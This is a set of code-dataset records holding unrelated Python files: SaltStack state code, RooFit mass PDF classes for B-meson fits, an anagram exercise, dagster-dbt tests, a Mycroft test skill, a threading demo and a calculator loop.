opts['state_top'] = os.path.join('salt://', mopts['state_top'][1:])\n else:\n opts['state_top'] = os.path.join('salt://', mopts['state_top'])\n return opts\n\n def get_top(self):\n '''\n Returns the high data derived from the top file\n '''\n top = self.client.cache_file(self.opts['state_top'], 'base')\n return self.state.compile_template(top)\n\n def top_matches(self, top):\n '''\n Search through the top high data for matches and return the states that\n this minion needs to execute. \n\n Returns:\n {'env': ['state1', 'state2', ...]}\n '''\n matches = {}\n for env, body in top.items():\n for match, data in body.items():\n if self.matcher.confirm_top(match, data):\n if not matches.has_key(env):\n matches[env] = []\n for item in data:\n if type(item) == type(str()):\n matches[env].append(item)\n return matches\n\n def gather_states(self, matches):\n '''\n Gather the template files from the master\n '''\n group = []\n for env, states in matches.items():\n for sls in states:\n state = self.client.get_state(sls, env)\n if state:\n group.append(state)\n return group\n\n def render_state(self, sls, env, mods):\n '''\n Render a state file and retrive all of the include states\n '''\n errors = []\n fn_ = self.client.get_state(sls, env)\n state = None\n try:\n state = self.state.compile_template(fn_)\n except Exception as exc:\n errors.append('Rendering SLS {0} failed, render error:\\n{1}'.format(sls, exc))\n mods.add(sls)\n nstate = None\n if state:\n if not isinstance(state, dict):\n errors.append('SLS {0} does not render to a dictonary'.format(sls))\n else:\n if state.has_key('include'):\n for sub_sls in state.pop('include'):\n if not list(mods).count(sub_sls):\n nstate, mods, err = self.render_state(sub_sls, env, mods)\n if nstate:\n state.update(nstate)\n if err:\n errors += err\n for name in state:\n if not isinstance(state[name], dict):\n errors.append('Name {0} in sls {1} is not a dictonary'.format(name, sls))\n continue\n if not state[name].has_key('__sls__'):\n state[name]['__sls__'] = sls\n return state, mods, errors\n\n def render_highstate(self, matches):\n '''\n Gather the state files and render them into a single unified salt high\n data structure. \n '''\n highstate = {}\n errors = []\n for env, states in matches.items():\n mods = set()\n for sls in states:\n state, mods, err = self.render_state(sls, env, mods)\n if state:\n highstate.update(state)\n if err:\n errors += err\n return highstate, errors\n\n def call_highstate(self):\n '''\n Run the sequence to execute the salt highstate for this minion\n '''\n top = self.get_top()\n matches = self.top_matches(top)\n high, errors = self.render_highstate(matches)\n if errors:\n return errors\n return self.state.call_high(high)\n","sub_path":"salt/state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":18929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"498024690","text":"from P2VV.Parameterizations.GeneralUtils import _util_parse_mixin\n\nfrom ROOT import RooNumber\nRooInf = RooNumber.infinity()\n\nclass MassPdf( _util_parse_mixin ) :\n def __init__(self, **kwargs ) :\n for ( k, v ) in kwargs.iteritems() : setattr( self, '_' + k, v )\n def __getitem__( self, kw ) : return getattr( self, '_' + kw )\n def pdf(self) : return self._pdf\n\nclass Binned_MassPdf( MassPdf ) :\n def __init__( self, Name, Mass, **kwargs ) :\n self._name = Name\n self._mass = Mass\n\n # get binning\n self._bins = kwargs.pop( 'Binning', None )\n if not self._bins :\n # create binning\n from array import array\n binBounds = kwargs.pop( 'BinBoundaries', [ self._mass.getMin(), self._mass.getMax() ] )\n self._binBounds = array( 'd', binBounds )\n self._numBins = len(binBounds) - 1\n\n from ROOT import RooBinning\n self._bins = RooBinning( self._numBins, self._binBounds, self._name + '_binning' )\n self._mass.setBinning( self._bins, self._name + '_binning' )\n\n self._numBins = self._bins.numBins()\n\n # determine number of events in each bin\n self._data = kwargs.pop( 'Data', None )\n if self._data :\n assert self._mass._var in self._data.get(0),\\\n 'Binned_MassPdf.__init__(): %s is not and observable in the provided data set' % self._mass.GetName()\n self._numEvents = self._data.sumEntries()\n self._numEventsBins = self._numBins * [ 0. ]\n for obsSet in self._data :\n bin = self._bins.binNumber( obsSet.getRealValue( self._mass.GetName() ) )\n self._numEventsBins[bin] += self._data.weight()\n \n\n # create bin coefficients\n self._coefs = [ ]\n for bin in range( 1, self._numBins ) :\n self._parseArg( '%s_coef%d' % ( self._name, bin ), kwargs\n , Title = '%s bin coefficient %d' % ( self._name, bin )\n , Value = self._numEventsBins[bin] / self._numEvents if self._data else 1. / self._numBins\n , MinMax = ( 0., 1. )\n , ContainerList = self._coefs\n )\n\n # create a BinnedPdf\n from P2VV.RooFitWrappers import BinnedPdf\n pdf = BinnedPdf( Name = self._name\n , Observable = self._mass\n , Binning = self._bins\n , Coefficients = self._coefs\n , BinIntegralCoefs = True\n )\n\n # initialize\n MassPdf.__init__( self, pdf = pdf )\n self._check_extraneous_kw( kwargs )\n\n\nclass Gauss_Signal_Mass ( MassPdf ) :\n def __init__(self, mass, **kwargs ) :\n self._parseArg( 'm_sig_mean', kwargs, Title = 'B Mass', Unit = 'MeV/c^2'\n , Value = 5368., Error = 0.05, MinMax = ( 5000., 5700. ) )\n self._parseArg( 'm_sig_sigma', kwargs, Title = 'B Mass resolution', Unit = 'MeV/c^2'\n , Value = 7.2, Error = 0.04, MinMax = ( 0.1, 20. ) )\n\n from ROOT import RooGaussian as Gauss\n from P2VV.RooFitWrappers import Pdf\n MassPdf.__init__( self\n , pdf = Pdf( Name = kwargs.pop( 'Name', 'Gauss_Signal_Mass' )\n , Type = Gauss\n , Parameters = ( mass, getattr( self, '_m_sig_mean' ), getattr( self, '_m_sig_sigma' ) )\n )\n )\n self._check_extraneous_kw( kwargs )\n\n\nclass DoubleGauss_Signal_Mass ( MassPdf ) :\n def __init__( self, mass, **kwargs ) :\n namePF = self.getNamePrefix(kwargs)\n self._transWidthPars = kwargs.pop( 'TransformWidthPars', ( ) )\n self._paramAvSig = kwargs.pop('AvSigParameterisation', False)\n assert(not (self._transWidthPars and self._paramAvSig))\n\n self._parseArg( 'm_sig_mean', kwargs, Title = 'B Mass', Unit = 'MeV/c^2', Value = 5368., Error = 0.05, MinMax = ( 5000., 5700. ) )\n\n if self._transWidthPars :\n # transform width parameters\n self._parseArg( 'm_sig_widthPar0', kwargs, Title = 'B mass width parameter 0', Value = 20., Error = 1., MinMax = (0., 40.) )\n self._parseArg( 'm_sig_widthPar1', kwargs, Title = 'B mass width parameter 1', Value = -59., Error = 1., MinMax = (-100., 0.) )\n self._parseArg( 'm_sig_widthPar2', kwargs, Title = 'B mass width parameter 2', Value = 47., Error = 1., MinMax = (0., 100.) )\n\n for name in ( 'm_sig_frac', 'm_sig_sigma_1', 'm_sig_sigma_2' ) :\n self._parseArg( name, kwargs\n , Formula = '%.10e*@0+%.10e*@1+%.10e*@2' % ( self._transWidthPars[name][0], self._transWidthPars[name][1]\n , self._transWidthPars[name][2] )\n , Arguments = ( self._m_sig_widthPar0, self._m_sig_widthPar1, self._m_sig_widthPar2 )\n , ObjectType = 'FormulaVar'\n )\n\n elif self._paramAvSig:\n self._parseArg( 'm_sig_frac', kwargs, Title = 'B mass fraction first Gaussian', Value = 0.8, Error = 0.03\n , MinMax = ( 0., 1. ) )\n self._parseArg('m_sig_av', kwargs, Title = 'Average Sigma', Value = 8, Error = 0.2, MinMax = (0.1, 20.))\n self._parseArg('m_sig_sigma', kwargs, Title = 'Sigma of Sigmas', Value = 2, Error = 0.2, MinMax = (0.1, 20.))\n self._parseArg('m_sig_sigma_1', kwargs, Formula = '- sqrt((1-@0) / @0) * @1 + @2',\n Arguments = (self._m_sig_frac, self._m_sig_sigma, self._m_sig_av), ObjectType = 'FormulaVar')\n self._parseArg( 'm_sig_sigma_2', kwargs, Formula = 'sqrt(@0 /(1 - @0)) * @1 + @2',\n Arguments = (self._m_sig_frac, self._m_sig_sigma, self._m_sig_av), ObjectType = 'FormulaVar')\n else :\n # use fraction of first Gaussian and widths directly\n self._parseArg( 'm_sig_frac', kwargs, Title = 'B mass fraction first Gaussian', Value = 0.8, Error = 0.03\n , MinMax = ( 0., 1. ) )\n self._parseArg( 'm_sig_sigma_1', kwargs, Title = 'B Mass resolution 1', Unit = 'MeV/c^2', Value = 6.3, Error = 0.1\n , MinMax = ( 0.1, 20. ) )\n self._parseArg( 'm_sig_sigma_2', kwargs, Title = 'B Mass resolution 2', Unit = 'MeV/c^2', Value = 14.5, Error = 0.8\n , MinMax = ( 0.2, 40. ) )\n\n from ROOT import RooGaussian as Gaussian\n from P2VV.RooFitWrappers import Pdf, SumPdf\n g1 = Pdf( Name = '%s_m_sig_1' % namePF\n , Type = Gaussian\n , Parameters = ( mass, getattr( self, '_m_sig_mean' ), getattr( self, '_m_sig_sigma_1' ) )\n )\n g2 = Pdf( Name = '%s_m_sig_2' % namePF\n , Type = Gaussian\n , Parameters = ( mass, getattr( self, '_m_sig_mean' ), getattr( self, '_m_sig_sigma_2' ) )\n )\n MassPdf.__init__( self, pdf = SumPdf( Name = kwargs.pop( 'Name', 'DoubleGauss_Signal_Mass' ), PDFs = ( g1, g2 )\n , Yields = { g1.GetName() : getattr( self, '_m_sig_frac' ) }\n )\n )\n self._check_extraneous_kw( kwargs )\n\n\nclass LP2011_Signal_Mass ( MassPdf ) :\n def __init__(self, mass, **kwargs ) :\n namePF = self.getNamePrefix(kwargs)\n self._parseArg( 'm_sig_mean', kwargs, Title = 'B Mass', Unit = 'MeV/c^2', Value = 5368., Error = 0.05, MinMax = ( 5000., 5700. ) )\n self._parseArg( 'm_sig_sigma_1', kwargs, Title = 'B Mass resolution 1', Unit = 'MeV/c^2', Value = 6.3, Error = 0.1\n , MinMax = ( 0.1, 20. ) )\n self._parseArg( 'm_sig_sigma_sf', kwargs, Title = 'B Mass resolution 2:1 scale factor', Value = 2.3, Error = 0.1\n , MinMax = ( 0.1, 5. ) )\n self._parseArg( 'm_sig_frac', kwargs, Title = 'B mass fraction first Gaussian', Value = 0.8, Error = 0.03, MinMax = ( 0., 1. ) )\n\n from ROOT import RooGaussian as Gaussian\n from P2VV.RooFitWrappers import Pdf, SumPdf\n g1 = Pdf( Name = '%sm_sig_1' % namePF\n , Type = Gaussian\n , Parameters = ( mass, self._m_sig_mean, self._m_sig_sigma_1 )\n )\n g2 = Pdf( Name = '%sm_sig_2' % namePF\n , Type = Gaussian\n , Parameters = ( mass, self._m_sig_mean\n , self._parseArg( 'm_sig_sigma_2', kwargs, Formula = '@0*@1'\n , Arguments = ( self._m_sig_sigma_sf, self._m_sig_sigma_1 )\n , ObjectType = 'FormulaVar'\n )\n )\n )\n MassPdf.__init__( self, pdf = SumPdf( Name = kwargs.pop( 'Name', 'LP2011_Signal_Mass' ), PDFs = ( g1, g2 )\n , Yields = { g1.GetName() : self._m_sig_frac }\n )\n )\n self._check_extraneous_kw( kwargs )\n\n\nclass CB_Signal_Mass ( MassPdf ) :\n def __init__(self, mass, **kwargs ) :\n self._parseArg( 'm_sig_mean', kwargs, Title = 'B Mass', Unit = 'MeV/c^2', Value = 5368., Error = 0.05, MinMax = ( 5000., 5700. ) )\n self._parseArg( 'm_sig_sigma', kwargs, Title = 'B Mass resolution', Unit = 'MeV/c^2', Value = 6.3, Error = 0.1\n , MinMax = ( 0.1, 20. ) )\n self._parseArg( 'm_sig_alpha', kwargs, Title = 'B Mass tail parameter', Value = 9., Error = 15., MinMax = ( 0.1, 30. ) )\n self._parseArg( 'm_sig_n', kwargs, Title = 'B Mass tail order', Value = 1., ObjectType = 'ConstVar' )\n\n from ROOT import RooCBShape as CrystalBall\n from P2VV.RooFitWrappers import Pdf\n MassPdf.__init__( self\n , pdf = Pdf( Name = kwargs.pop( 'Name', 'CB_Signal_Mass' )\n , Type = CrystalBall\n , Parameters = ( mass, getattr( self, '_m_sig_mean' ), getattr( self, '_m_sig_sigma' )\n , getattr( self, '_m_sig_alpha' ), getattr( self, '_m_sig_n' )\n )\n )\n )\n self._check_extraneous_kw( kwargs )\n\n\nclass DoubleCB_Signal_Mass ( MassPdf ) :\n def __init__(self, mass, **kwargs ) :\n namePF = self.getNamePrefix(kwargs)\n self._parseArg( 'm_sig_mean', kwargs, Title = 'B Mass', Unit = 'MeV/c^2', Value = 5368., Error = 0.05, MinMax = ( 5000., 5700. ) )\n self._parseArg( 'm_sig_sigma_1', kwargs, Title = 'B Mass resolution 1', Unit = 'MeV/c^2', Value = 6.3, Error = 0.1\n , MinMax = ( 0.1, 20. ) )\n self._parseArg( 'm_sig_sigma_sf', kwargs, Title = 'B Mass resolution 2:1 scale factor', Value = 2.3, Error = 0.1\n , MinMax = ( 0.1, 5. ) )\n self._parseArg( 'm_sig_alpha_1', kwargs, Title = 'B Mass tail parameter 1', Value = 9., Error = 15., MinMax = ( 0.1, 30. ) )\n self._parseArg( 'm_sig_alpha_sf', kwargs, Title = 'B Mass tail parameter 2:1 scale factor', Value = 1., ObjectType = 'ConstVar' )\n self._parseArg( 'm_sig_n_1', kwargs, Title = 'B Mass tail order 1', Value = 1., ObjectType = 'ConstVar' )\n self._parseArg( 'm_sig_n_2', kwargs, Title = 'B Mass tail order 2', Value = 1., ObjectType = 'ConstVar' )\n self._parseArg( 'm_sig_frac', kwargs, Title = 'B mass fraction first CB', Value = 0.8, Error = 0.03, MinMax = ( 0., 1. ) )\n\n from ROOT import RooCBShape as CrystalBall\n from P2VV.RooFitWrappers import Pdf, SumPdf\n CB1 = Pdf( Name ='%sm_sig_1' % namePF\n , Type = CrystalBall\n , Parameters = ( mass, self._m_sig_mean, self._m_sig_sigma_1, self._m_sig_alpha_1, self._m_sig_n_1 )\n )\n CB2 = Pdf( Name = '%sm_sig_2' % namePF\n , Type = CrystalBall\n , Parameters = ( mass, self._m_sig_mean\n , self._parseArg( '_m_sig_sigma_2', kwargs, Formula = '@0*@1'\n , Arguments = ( self._m_sig_sigma_sf, self._m_sig_sigma_1 ), ObjectType = 'FormulaVar' )\n , self._parseArg( '_m_sig_alpha_2', kwargs, Formula = '@0*@1'\n , Arguments = ( self._m_sig_alpha_sf, self._m_sig_alpha_1 ), ObjectType = 'FormulaVar' )\n , self._m_sig_n_2\n )\n )\n MassPdf.__init__( self, pdf = SumPdf( Name = kwargs.pop( 'Name', 'DoubleCB_Signal_Mass' ), PDFs = ( CB1, CB2 )\n , Yields = { CB1.GetName() : self._m_sig_frac } ) )\n self._check_extraneous_kw( kwargs )\n\n\nclass Ipatia2_Signal_Mass ( MassPdf ) :\n def __init__( self, mass, **kwargs ) :\n self._parseArg( 'm_sig_mean', kwargs, Title = 'B Mass', Unit = 'MeV/c^2', Value = 5368.254, Error = 0.05\n , MinMax = ( 5000., 5700. ), Constant = False )\n self._parseArg( 'm_sig_sigma', kwargs, Title = 'B Mass resolution', Unit = 'MeV/c^2', Value = 9.678, Error = 0.1\n , MinMax = ( 0.1, 40. ), Constant = False )\n self._parseArg( 'm_sig_lambda', kwargs, Title = 'B Mass resolution lambda', Value = -2.5, Error = 0.1, MinMax = ( -10., 10. )\n , Constant = True )\n self._parseArg( 'm_sig_zeta', kwargs, Title = 'B Mass resolution zeta', Value = 0.46, Error = 0.2, MinMax = ( -10., 10. )\n , Constant = True )\n self._parseArg( 'm_sig_beta', kwargs, Title = 'B Mass resolution beta', Value = 0., ObjectType = 'ConstVar' )\n self._parseArg( 'm_sig_alpha_1', kwargs, Title = 'B Mass tail parameter 1', Value = 1.754, Error = 1., MinMax = ( 0.01, 10. )\n , Constant = True )\n self._parseArg( 'm_sig_alpha_2', kwargs, Title = 'B Mass tail parameter 2', Value = 1.548, Error = 1., MinMax = ( 0.01, 10. )\n , Constant = True )\n self._parseArg( 'm_sig_n_1', kwargs, Title = 'B Mass tail order 1', Value = 1.80, Error = 0.5, MinMax = ( 0., 10. )\n , Constant = True )\n self._parseArg( 'm_sig_n_2', kwargs, Title = 'B Mass tail order 2', Value = 1.70, Error = 0.5, MinMax = ( 0., 10. )\n , Constant = True )\n\n from P2VV.Load import P2VVLibrary\n from ROOT import RooIpatia2 as Ipatia2\n from P2VV.RooFitWrappers import Pdf\n MassPdf.__init__( self\n , pdf = Pdf( Name = kwargs.pop( 'Name', 'Ipatia2_Signal_Mass' )\n , Type = Ipatia2\n , Parameters = ( mass, self._m_sig_lambda, self._m_sig_zeta, self._m_sig_beta\n , self._m_sig_sigma, self._m_sig_mean, self._m_sig_alpha_1, self._m_sig_n_1\n , self._m_sig_alpha_2, self._m_sig_n_2 )\n )\n )\n self._check_extraneous_kw( kwargs )\n\n\nclass Box_Signal_Mass ( MassPdf ) :\n def __init__( self, mass, **kwargs ) :\n self._parseArg( 'm_sig_mean', kwargs, Title = 'B Mass', Unit = 'MeV/c^2', Value = 5368., Error = 0.05, MinMax = ( 5000., 5700. ) )\n self._parseArg( 'm_sig_width', kwargs, Title = 'B Mass width', Unit = 'MeV/c^2', Value = 11., Error = 0.1, MinMax = ( 0.1, 35. ) )\n\n from P2VV.Load import P2VVLibrary\n from ROOT import RooBoxPdf as BoxPdf\n from P2VV.RooFitWrappers import Pdf\n MassPdf.__init__( self, pdf = Pdf( Name = kwargs.pop( 'Name', 'Box_Signal_Mass' ), Type = BoxPdf\n , Parameters = ( mass, getattr( self, '_m_sig_mean' ), getattr( self, '_m_sig_width' ) )\n )\n )\n self._check_extraneous_kw( kwargs )\n\n\nclass LP2011_Background_Mass ( MassPdf ) :\n def __init__(self, mass, **kwargs ) :\n self._parseArg( 'm_bkg_exp', kwargs, Title = 'Mass background slope', Unit = 'c^2/MeV', Value = -0.0016, Error = 0.0001\n , MinMax = ( -0.05, 0. ) )\n\n from ROOT import RooExponential as Exponential\n from P2VV.RooFitWrappers import Pdf\n MassPdf.__init__( self, pdf = Pdf( Name = kwargs.pop('Name','LP2011_Background_Mass'), Type = Exponential \n , Parameters = ( mass, getattr( self, '_m_bkg_exp' ) )\n )\n )\n self._check_extraneous_kw( kwargs )\n\n\nclass Linear_Background_Mass ( MassPdf ) :\n def __init__(self, mass, **kwargs ) :\n constant = kwargs.pop( 'Constant', False )\n self._parseArg( 'm_bkg_arg', kwargs, Title = 'Mass background slope', Unit = 'c^2/MeV', Value = -1.7e-4, Error = 2.e-6\n , MinMax = ( -1.8e-4, 0. ) )\n if constant :\n getattr( self, '_m_bkg_arg' ).setVal(0.)\n getattr( self, '_m_bkg_arg' ).setConstant(True)\n\n from P2VV.RooFitWrappers import GenericPdf\n MassPdf.__init__(self, pdf = GenericPdf( Name = kwargs.pop('Name','Linear_Background_Mass')\n , Arguments = [ mass, getattr( self, '_m_bkg_arg' ) ]\n , Formula = '1+@1*@0'\n )\n )\n self._check_extraneous_kw( kwargs )\n\n\nclass Signal_PsiMass ( MassPdf ) :\n def __init__(self, mass, **kwargs ) :\n from ROOT import RooCBShape as CrystalBall\n from P2VV.RooFitWrappers import Pdf\n namePF = self.getNamePrefix(kwargs)\n self._parseArg( 'mpsi_mean', kwargs, Title = 'J/psi mass', Unit = 'MeV', Value = 3097., MinMax = ( 3090., 3105. ) )\n self._parseArg( 'mpsi_sigma', kwargs, Title = 'J/psi mass resolution', Unit = 'MeV', Value = 14., MinMax = ( 8., 20. ) )\n self._parseArg( 'mpsi_alpha', kwargs, Title = 'J/psi mass CB alpha', Unit = '', Value = 1.90, MinMax = ( 1., 3. ) )\n self._parseArg( 'mpsi_n', kwargs, Title = 'J/psi mass CB n', Unit = '', Value = 2., MinMax = ( 0.1, 5. ), Constant = True )\n MassPdf.__init__( self, pdf = Pdf( Name = kwargs.pop( 'Name','%sSignal_PsiMass' % namePF )\n , Type = CrystalBall\n , Parameters = [ mass, getattr( self, '_mpsi_mean' ), getattr( self, '_mpsi_sigma' )\n , getattr( self, '_mpsi_alpha' ), getattr( self, '_mpsi_n' )\n ]\n )\n )\n self._check_extraneous_kw( kwargs )\n\nclass DoubleCB_Psi_Mass ( MassPdf ) :\n def __init__(self, mass, **kwargs ) :\n namePF = self.getNamePrefix(kwargs)\n self._parseArg( 'mpsi_mean', kwargs, Title = 'psi Mass core', Unit = 'MeV/c^2', Value = 3100., Error = 0.05\n , MinMax = ( 3050., 3150. ) )\n self._parseArg( 'mpsi_sigma_1', kwargs, Title = 'psi Mass resolution 1', Unit = 'MeV/c^2', Value = 6.3, Error = 0.1\n , MinMax = ( 0.1, 20. ) )\n self._parseArg( 'mpsi_sigma_sf', kwargs, Title = 'psi Mass resolution 2:1 scale factor', Value = 2.3, Error = 0.1\n , MinMax = ( 0.1, 20. ) )\n self._parseArg( 'mpsi_alpha_1', kwargs, Title = 'psi Mass tail parameter 1', Value = 2., Error = 15., MinMax = ( 0.1, 30. ) )\n self._parseArg( 'mpsi_alpha_sf', kwargs, Title = 'psi Mass tail parameter 2:1 scale factor', Value = 1., ObjectType = 'ConstVar' )\n self._parseArg( 'mpsi_n_1', kwargs, Title = 'psi Mass tail order 1', Value = 2., ObjectType = 'ConstVar' )\n self._parseArg( 'mpsi_n_2', kwargs, Title = 'psi Mass tail order 2', Value = 2., ObjectType = 'ConstVar' )\n\n self._parseArg( 'mpsi_frac', kwargs, Title = 'psi mass fraction second CB', Value = 0.8, Error = 0.03, MinMax = ( 0., 1. ) )\n self._parseArg( 'mpsi_sigma_2', kwargs, Formula = '@0*@1', Arguments = ( self._mpsi_sigma_sf, self._mpsi_sigma_1 ), ObjectType = 'FormulaVar' ),\n self._parseArg( 'mpsi_alpha_2', kwargs, Formula = '@0*@1', Arguments = ( self._mpsi_alpha_sf, self._mpsi_alpha_1 ), ObjectType = 'FormulaVar' )\n \n name = kwargs.pop( 'Name', 'DoubleCB_Psi_Mass' )\n param_sigma = kwargs.pop('ParameteriseSigma', None)\n\n if param_sigma == 'MeanSigma':\n from math import sqrt\n f2 = self._mpsi_frac.getVal()\n s1 = self._mpsi_sigma_1.getVal()\n s2 = self._mpsi_sigma_sf.getVal() * s1\n self._sigma_mean = self._parseArg('mpsi_sigma_mean', kwargs, MinMax = (1, 20),\n Value = (( 1. - f2 ) * s1 + f2 * s2))\n self._sigma_sigma = self._parseArg('mpsi_sigma_sigma', kwargs, MinMax = (0.01, 50),\n Value = sqrt((1 - f2) * s1 ** 2 + f2 * s2 ** 2 -\n self._sigma_mean.getVal() ** 2))\n self._mpsi_sigma_1 = self._parseArg('sigma_1_param', kwargs, Formula = '- sqrt((1 - @0) / @0) * @1 + @2',\n Arguments = (self._mpsi_frac, self._sigma_sigma, self._sigma_mean),\n ObjectType = 'FormulaVar')\n self._mpsi_sigma_2 = self._parseArg('sigma_2_param', kwargs, Formula = 'sqrt(@0 / (1 - @0)) * @1 + @2',\n Arguments = (self._mpsi_frac, self._sigma_sigma, self._sigma_mean),\n ObjectType = 'FormulaVar')\n \n from ROOT import RooCBShape as CrystalBall\n from P2VV.RooFitWrappers import Pdf, SumPdf\n CB1 = Pdf(Name = '%smpsi_1' % namePF, Type = CrystalBall,\n Parameters = (mass, self._mpsi_mean, self._mpsi_sigma_1, self._mpsi_alpha_1, self._mpsi_n_1))\n CB2 = Pdf(Name = '%smpsi_2' % namePF, Type = CrystalBall, Parameters = (mass, self._mpsi_mean, self._mpsi_sigma_2,\n self._mpsi_alpha_2, self._mpsi_n_2))\n MassPdf.__init__( self, pdf = SumPdf(Name = name, PDFs = (CB1, CB2), Yields = {CB2.GetName() : self._mpsi_frac}))\n self._check_extraneous_kw(kwargs)\n\nclass Background_PsiMass ( MassPdf ) :\n def __init__(self, mass, **kwargs ) :\n namePF = self.getNamePrefix(kwargs)\n from ROOT import RooExponential as Exponential\n from P2VV.RooFitWrappers import Pdf\n self._parseArg( 'mpsi_c', kwargs, Title = 'J/psi mass background slope', Unit = '1/MeV', Value = -0.01\n , MinMax = ( -0.1, -0.000001 ) )\n MassPdf.__init__( self, pdf = Pdf( Name = kwargs.pop( 'Name', '%sBackground_PsiMass' % namePF ), Type = Exponential\n , Parameters = [mass, self._mpsi_c]))\n self._check_extraneous_kw( kwargs )\n","sub_path":"PhysFit/P2VV/python/P2VV/Parameterizations/MassPDFs.py","file_name":"MassPDFs.py","file_ext":"py","file_size_in_byte":23695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"382024433","text":"#242. Valid Anagram\n#Given two strings s and t , write a function to determine if t is an anagram of s.\n\n#Example 1:\n\n#Input: s = \"anagram\", t = \"nagaram\"\n#Output: true\n#Example 2:\n\n#Input: s = \"rat\", t = \"car\"\n#Output: false\n#Note:\n#You may assume the string contains only lowercase alphabets.\n\n#Follow up:\n#What if the inputs contain unicode characters? How would you adapt your solution to such case?\n\n\n#------------------------ Using sorting -------------------\n#One solution is to sort both strings and compare them.\n#----------------------------------------------------------\n\ndef isAnagram_sorting(s, t):\n if len(s) != len(t): return False #If the strings have different lengths, they can't be anagrams\n if sorted(s) == sorted(t):\n return True\n return False\n\n#------------------------ Using map -------------------\n#We can also map each character with its count on both strings.\n#if the count of characters differ, the string cannot be anagrams.\n#----------------------------------------------------------\ndef isAnagram(s, t):\n if len(s) != len(t): return False #If the strings have different lengths, they can't be anagrams\n\n dict = {}\n\n for i in range(0, len(s)):\n if s[i] in dict:\n dict[s[i]] += 1\n else:\n dict[s[i]] = 1\n\n for i in range(0, len(t)):\n if t[i] in dict:\n if dict[t[i]] == 0:\n return False\n else:\n dict[t[i]] -= 1\n else:\n return False\n return True","sub_path":"easy/valid_anagram.py","file_name":"valid_anagram.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"131298073","text":"from dagster import build_op_context, job\nfrom dagster_dbt import dbt_cli_resource, dbt_run_op, dbt_seed_op, dbt_test_op\n\n\ndef test_seed_op(conn_string, test_project_dir, dbt_config_dir): # pylint: disable=unused-argument\n\n dbt_resource = dbt_cli_resource.configured(\n {\"project_dir\": test_project_dir, \"profiles_dir\": dbt_config_dir}\n )\n dbt_result = dbt_seed_op(build_op_context(resources={\"dbt\": dbt_resource}))\n assert len(dbt_result.result[\"results\"]) == 1\n\n\ndef test_run_op(\n dbt_seed, conn_string, test_project_dir, dbt_config_dir\n): # pylint: disable=unused-argument\n\n dbt_resource = dbt_cli_resource.configured(\n {\"project_dir\": test_project_dir, \"profiles_dir\": dbt_config_dir}\n )\n dbt_results = list(dbt_run_op(build_op_context(resources={\"dbt\": dbt_resource})))\n\n # includes asset materializations\n assert len(dbt_results) == 5\n\n assert len(dbt_results[-1].value.result[\"results\"]) == 4\n\n\ndef test_run_test_job(\n dbt_seed, conn_string, test_project_dir, dbt_config_dir\n): # pylint: disable=unused-argument\n\n dbt_resource = dbt_cli_resource.configured(\n {\"project_dir\": test_project_dir, \"profiles_dir\": dbt_config_dir}\n )\n\n @job(resource_defs={\"dbt\": dbt_resource})\n def run_test_job():\n dbt_test_op(start_after=dbt_run_op())\n\n dbt_result = run_test_job.execute_in_process()\n\n dbt_run_result = dbt_result.output_for_node(\"dbt_run_op\")\n dbt_test_result = dbt_result.output_for_node(\"dbt_test_op\")\n\n assert len(dbt_run_result.result[\"results\"]) == 4\n assert len(dbt_test_result.result[\"results\"]) == 15\n","sub_path":"python_modules/libraries/dagster-dbt/dagster_dbt_tests/test_ops.py","file_name":"test_ops.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"197157397","text":"#### just for testing sentiment analisys service\n\nfrom os.path import dirname\n\nfrom adapt.intent import IntentBuilder\nfrom mycroft.skills.core import MycroftSkill\nfrom mycroft.util.log import getLogger\n\nfrom mycroft.messagebus.message import Message\n\n__author__ = 'jarbas'\n\nLOGGER = getLogger(__name__)\n\n\nclass TestSentimentSkill(MycroftSkill):\n\n def __init__(self):\n super(TestSentimentSkill, self).__init__(name=\"TestSentimentSkill\")\n\n def initialize(self):\n self.load_data_files(dirname(__file__))\n\n test_intent = IntentBuilder(\"TestSentimentSkill\").\\\n require(\"test\").build()\n self.register_intent(test_intent, self.handle_test_intent)\n\n\n def handle_test_intent(self, message):\n line = \"hello world im feeling happy\"\n self.emitter.emit(\n Message(\"sentiment_request\",\n {'utterances': [line]}))\n\n line = \"i hate ninjas\"\n self.emitter.emit(\n Message(\"sentiment_request\",\n {'utterances': [line]}))\n\n line = \"who is gra?\"\n self.emitter.emit(\n Message(\"sentiment_request\",\n {'utterances': [line]}))\n\n\n def stop(self):\n pass\n\n\ndef create_skill():\n return TestSentimentSkill()\n","sub_path":"SentimentAnalisys/testskill/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"578079217","text":"\"\"\"\nthread_attr.py 线程属性演示\n\"\"\"\nfrom threading import Thread\nfrom time import sleep\n\ndef fun():\n sleep(3)\n print(\"线程属性测试\")\n\nt = Thread(target=fun,name='tarena')\n# t.setDaemon(True) # 主线程退出,分支线程也退出\nt.setName('Tedu')\nprint(t.getName())\n\nt.start() # 启动子线程\n\nprint(\"is_alive:\",t.is_alive()) # True\nprint(\"daemon:\",t.isDaemon()) #True","sub_path":"second_step/concurrent_programming/thread/thread_attr.py","file_name":"thread_attr.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"225715740","text":"class Cal():\n def __init__(self,a,b):\n self.a=a\n self.b=b\n def add(self):\n return self.a+self.b\n def sub(self):\n return self.a-self.b\n\na=int(input(\"Enter 1st num:\"))\nb=int(input(\"Enter 2nd num:\"))\nobj=Cal(a,b)\nchoice=1\nwhile choice!=0:\n print(\"select an option from menu\")\n print(\"\\n\")\n print(\"1.Addition\")\n print(\"2.Subtraction\")\n print(\"3.Exit\")\n choice=int(input(\"Enter your choice:\"))\n if choice==1:\n print(\"Addition selected: \",obj.add())\n elif choice==2:\n print(\"Subtraction Selected: \",obj.sub())\n elif choice==3:\n break\n else:\n print(\"Wrong choice\")","sub_path":"praticetask/loop.py","file_name":"loop.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} 